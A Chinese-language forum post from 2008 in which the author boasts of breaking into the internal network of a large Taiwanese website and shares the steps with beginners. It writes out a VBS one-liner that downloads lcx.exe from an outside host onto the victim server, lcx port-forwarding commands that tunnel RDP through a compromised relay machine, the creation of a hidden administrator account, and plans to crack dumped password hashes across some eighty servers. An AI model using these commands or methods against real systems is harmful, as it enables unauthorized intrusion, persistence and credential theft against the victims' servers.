2008年7月22日
内网渗透对于大型网络入侵非常重要,但我们要懂得一些基本的网络结构,防火墙的设置,如果面的DMZ的配置情况,需要掌握端口转发、信息收集、社会工程学的利用、密码破解等,这是我今天上午拿下一网站内网服务器的经历,没什么技术含量,写出来和菜鸟朋友们分享一下。
情况的起因:这几天没什么好玩的就去玩玩国外网站,国内的不敢玩了。。。。。。。。。
转去转来盯上一个中国台湾省的一个大站,有二十几个二级域名的分站点,这下好玩了。来点耐心,一个一个的分站去检测一下,一圈下来居然没收获,不是说站点越大入侵的机率越大嘛。于是再挑两个asp的站点看看,在一个不起眼的地方检测了一下搜索型注入,结果在搜索框里没过滤,便构造了一个注入点用nbsi跑起来。
不负众望,居然是一个sa权限的,接下来打算写一个webshell上去,才发现是数据库与web分离的,再看一下开放的端口,80、21、1433、3389都开开的,再看一下ip,是内网的,netstat -an看一下,所有的连接都是另一个内网ip,应该是其它服务器内网连接到这台数据库服务器上的,这只是一个小小的数据库服务器。
再在本机的cmd下通过网站ip telnet一下上面的端口,不通,看来我是被困死在这台数据库服务器上面了,呆然开了3389是登不上的,相信很多人都遇到这种情况过。
于是我便在nbsi执行命令处下写了一段vbs下载脚本上去:
echo Set xPost = CreateObject(^"Microsoft.XMLHTTP^"):xPost.Open ^"GET^",^"http://www.ncph.net/lcx.exe^",0:xPost.Send():Set sGet = CreateObject(^"ADODB.Stream^"):sGet.Mode = 3:sGet.Type = 1:sGet.Open():sGet.Write(xPost.responseBody):sGet.SaveToFile ^"c:\c.exe^",2 >down.vbs
接着执行cscript down.vbs 还好,下载lcx.exe成功,位置为c:\c.exe
先来执行个端口转发看看,我知道他们的服务器都放在一个防火墙后面,但虽然外面不能访问里面,里面可以访问外面就好说了。
继续在nbsi里面执行:c:\c.exe -slave xxx.xxx.xx.xx 51 172.26.1.248 3389
在我的另一台3389肉机监听:c:\lcx.exe -listen 51 4489 ,因为我上网是adsl拔号上网,ip会变的,所以我干脆转发到我的3389肉机上面,一是安全,二是速度快,三是可以让它一直转发到上面。因为我3389肉机的3389端口已开放,所以我就转到4489上面了,然后用3389登录127.0.0.1:4489。
对了,还忘了建帐号,赶紧刷新nbsi建个隐藏帐号mghk$,这时c.exe 的进程并没有结束,所以转发仍没有断开,用建好的帐号直接进入.

我再传了一个sql.exe上去,准备连接mssql用户名和密码为sa的ip,执行命令,还好,它还开了3389,当我们真正进入到内网进行操作的时候才发现比平时从外网入侵容易多了。
直接执行命令

进去后再次登上另一台的3389,这台上面已经有部分网站了,再次抓了这台机器的哈希,发现哈希一至,所以应该他们所有的服务器密码都是一至,只等我挂在肉机上的哈希密码跑出来就ok了,一般三天时间就跑出来,这样就可以宣布彻底搞定这个网站的所有服务器,大至登了一下,有八十几台服务器。


0 回复,0 引用: 实战内网渗透
添加回复